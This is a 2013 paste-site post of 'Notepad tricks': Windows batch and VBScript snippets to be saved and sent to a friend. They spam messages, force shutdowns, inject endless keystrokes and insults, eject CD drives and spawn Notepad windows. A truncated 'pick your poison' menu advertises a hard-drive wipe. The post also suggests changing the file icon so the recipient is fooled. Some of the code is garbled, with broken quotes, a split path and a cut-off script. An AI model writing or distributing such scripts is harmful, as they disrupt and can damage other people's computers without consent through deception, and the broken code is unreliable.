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Apr 1st, 2013
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  1. [hide]1 Notepad Tricks., but Beware!! nJoy n havE fun.....!!!!
  2.  
  3. 1.
  4.  
  5. Cycle a message in your friend's computer:
  6.  
  7. Type :
  8.  
  9. @ECHO off
  10. :Begin
  11. msg * Hi
  12. msg * Are you having fun?
  13. msg * I am!
  14. msg * Lets have fun together!
  15. msg * Because you have been o-w-n-e-d
  16. GOTO BEGIN
  17.  
  18. Save it as Anything.BAT and send it.
  19.  
  20. 2.
  21.  
  22. Convey your friend a lil' message and shut down his / her computer:
  23. Type :
  24.  
  25. wx@echo off
  26. msg * I don't like you
  27. shutdown -c Error! You are too stupid! -s
  28.  
  29. Save it as Anything.BAT in All Files and send it.
  30.  
  31. 3.
  32.  
  33. Toggle your friend's Caps Lock button simultaneously:
  34. Type :
  35.  
  36. Set wshShell =wscript.CreateObject("WScript.Shell&quot
  37. do
  38. wscript.sleep 100
  39. wshshell.sendkeys "{CAPSLOCK}"
  40. loop
  41.  
  42. Save it as Anything.VBS and send it.
  43.  
  44. 4.
  45.  
  46. Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
  47. Type :
  48.  
  49. Set oWMP = CreateObject("WMPlayer.OCX.7&quot
  50. Set colCDROMs = oWMP.cdromCollection
  51. do
  52. if colCDROMs.Count >= 1 then
  53. For i = 0 to colCDROMs.Count - 1
  54. colCDROMs.Item(i).Eject
  55. Next
  56. For i = 0 to colCDROMs.Count - 1
  57. colCDROMs.Item(i).Eject
  58. Next
  59. End If
  60. wscript.sleep 5000
  61. loop
  62.  
  63. Save it as "Anything.VBS" and send it.
  64.  
  65. 5.
  66.  
  67. Frustrate your friend by making this VBScript hit Enter simultaneously:
  68. Type :
  69.  
  70. Set wshShell = wscript.CreateObject("WScript.Shell&quot
  71. do
  72. wscript.sleep 100
  73. wshshell.sendkeys "~(enter)"
  74. loop
  75.  
  76. Save it as "Anything.VBS" and send it.
  77.  
  78. 6.
  79.  
  80. Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
  81. Type :
  82.  
  83. WScript.Sleep 180000
  84. WScript.Sleep 10000
  85. Set WshShell = WScript.CreateObject("WScript.Shell&quot
  86. WshShell.Run "notepad"
  87. WScript.Sleep 100
  88. WshShell.AppActivate "Notepad"
  89. WScript.Sleep 500
  90. WshShell.SendKeys "Hel"
  91. WScript.Sleep 500
  92. WshShell.SendKeys "lo "
  93. WScript.Sleep 500
  94. WshShell.SendKeys ", ho"
  95. WScript.Sleep 500
  96. WshShell.SendKeys "w a"
  97. WScript.Sleep 500
  98. WshShell.SendKeys "re "
  99. WScript.Sleep 500
  100. WshShell.SendKeys "you"
  101. WScript.Sleep 500
  102. WshShell.SendKeys "? "
  103. WScript.Sleep 500
  104. WshShell.SendKeys "I a"
  105. WScript.Sleep 500
  106. WshShell.SendKeys "m g"
  107. WScript.Sleep 500
  108. WshShell.SendKeys "ood"
  109. WScript.Sleep 500
  110. WshShell.SendKeys " th"
  111. WScript.Sleep 500
  112. WshShell.SendKeys "ank"
  113. WScript.Sleep 500
  114. WshShell.SendKeys "s! "
  115.  
  116. Save it as "Anything.VBS" and send it.
  117.  
  118. 7.
  119.  
  120. Frustrate your friend by making this VBScript hit Backspace simultaneously:
  121. Type :
  122.  
  123. MsgBox "Let's go back a few steps"
  124. Set wshShell =wscript.CreateObject("WScript.Shell&quot
  125. do
  126. wscript.sleep 100
  127. wshshell.sendkeys "{bs}"
  128. loop
  129.  
  130. Save it as "Anything.VBS" and send it.
  131.  
  132. 8.
  133.  
  134. Hack your friend's keyboard and make him type "You are a fool" simultaneously:
  135. Type :
  136.  
  137. Set wshShell = wscript.CreateObject("WScript.Shell&quot
  138. do
  139. wscript.sleep 100
  140. wshshell.sendkeys "You are a fool."
  141. loop
  142.  
  143. Save it as "Anything.VBS" and send it.
  144.  
  145. 9.
  146.  
  147. Open Notepad continually in your friend's computer:
  148. Type :
  149.  
  150. @ECHO off
  151. :top
  152. START %SystemRoot%\system32
  153. otepad.exe
  154. GOTO top
  155.  
  156. Save it as "Anything.BAT" and send it.
  157.  
  158.  
  159. 10.
  160.  
  161. Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
  162.  
  163. 1: Shutdown
  164. 2: Restart
  165. 3: Wipes out your hard drive (BEWARE)
  166. 4: Net send
  167. 5: Messages then shutdown
  168. Type :
  169.  
  170. @echo off
  171. title The end of the world
  172. cd C:\
  173. :menu
  174. cls
  175. echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
  176. pause
  177. echo Pick your poison:
  178. echo 1. Die this way (Wimp)
  179. echo 2. Die this way (WIMP!)
  180. echo 3. DO NOT DIE THIS WAY
  181. echo 4. Die this way (you're boring)
  182. echo 5. Easy way out
  183. set input=nothing
  184. set /p input=Choice:
  185. if %input%==1 goto one
  186. if %input%==2 goto two
  187.  
  188. Save it as "Anything.BAT" and send it.
  189.  
  190.  
  191. You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.
  192.  
  193. juz..be aware of what you are doing. .[/hide]
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